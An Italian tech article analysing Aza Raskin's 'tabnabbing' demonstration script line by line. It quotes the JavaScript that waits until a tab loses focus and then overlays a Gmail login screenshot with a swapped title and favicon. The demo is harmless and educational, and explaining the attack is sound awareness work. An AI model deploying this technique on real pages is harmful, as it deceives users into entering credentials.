www.MegaLab.it

Il source di un esempio dimostrativo creato da Raskin è disponibile qua, mentre la pagina a cui è stata applicata la tecnica è questa, in lingua inglese: essa reindirizza ad uno screen della pagina di login di Gmail, del tutto innocua.

Vediamo in dettaglio come lo script è stato inserito nella pagina e che operazioni compie.

Inserire lo script nella pagina

Nella riga 176 del secondo link possiamo trovare il seguente tag:

<p><script src="http://www.azarask.in/projects/bgattack.js"></script></p>

Chiunque mastichi un po' di HTML, sa che questa linea serve semplicemente per richiamare lo script, inserito nel percorso src.

Lo script vero e proprio

Cominciamo l'analisi delle prime righe.

Eventi

Saltiamo la parte relativa alle dichiarazioni delle variabili utilizzate, per concentrarci sui due eventi che partono dalla linea 24 fino alla 31.

// Events window.onblur = function(){ TIMER = setTimeout(changeItUp, 5000); }

Questa riga determina che quando la finestra perde il focus, ovvero viene cambiato tab, verrà eseguita la funzione changeItUp dopo 5000 ms, 5 secondi. Inoltre viene assegnato un numero alla variabile TIMER per la gestione dell'evento successivo.

La funzione changeItUp è praticamente il "motore" di questo interessante codice. Essa verrà descritta più avanti.

window.onfocus = function(){ if(TIMER) clearTimeout(TIMER); }

Questo evento invece previene che il conto alla rovescia cominci se la finestra ritorna ad avere il focus (tab selezionato) prima che siano passati 5000 ms.

Funzioni

Dalla linea 33 comincia la dichiarazione delle funzioni dello script.

• Funzione setTitle

// Utils function setTitle(text){ document.title = text; }

Questa ha lo scopo di settare come titolo della pagina il valore text passato in input.

• Funzione createShield

function createShield(){ div = document.createElement("div"); div.style.position = "fixed"; div.style.top = 0; div.style.left = 0; div.style.backgroundColor = "white"; div.style.width = "100%"; div.style.height = "100%"; div.style.textAlign = "center"; document.body.style.overflow = "hidden"; img = document.createElement("img"); img.style.paddingTop = "15px"; img.src = "http://img.skitch.com/20100524-b639xgwegpdej3cepch2387ene.png"; var oldTitle = document.title; var oldFavicon = favicon.get() || "/favicon.ico"; div.appendChild(img); document.body.appendChild(div); img.onclick = function(){ div.parentNode.removeChild(div); document.body.style.overflow = "auto"; setTitle(oldTitle); favicon.set(oldFavicon) }

Per commentare questo source, mi riferisco al numero di righe riportato a lato.

La riga 2 crea un nuovo elemento nella pagina di tipo div, che conterrà l'immagine esempio. Dalla riga 3 alla riga 10 vengono indicati parametri riguardanti l'impostazione grafica di questo elemento, come la posizione e il colore di sfondo.

Tramite la funzione createElement viene creato un elemento img (r. 12) e successivamente nella riga 18 si inserisce l'immagine nel div creato in precedenza e si aggiunge al documento tramite document.body.appendChild(div).

Nelle linee 16 e 17 si salvano rispettivamente il titolo della pagina corrente e la favicon corrente, in modo da ripristinarle al click del mouse sull'immagine (r. 21): viene rimosso il div creato e vengono ripristinati il vecchio titolo (r. 24) e la favicon (r. 25).

• Funzione changeItUp

function changeItUp(){ if( HAS_SWITCHED == false ){ createShield("https://mail.google.com"); setTitle( "Gmail: Email from Google"); favicon.set("https://mail.google.com/favicon.ico"); HAS_SWITCHED = true; } }

La riga 2 controlla che la variabile HAS_SWITCHED sia impostata su false, quindi esegue le funzioni createShield(), setTitle() e favicon.set()

Infine imposta la variabile HAS_SWITCHED a true, per evitare un loop dello script.

Piccola nota

La descrizione della funzione favicon.set sarebbe stata troppo lunga, inoltre riguarda un aspetto marginale, nemmeno compatibile con Internet Explorer e Safari. Chiunque volesse approfondire può controllare questa pagina.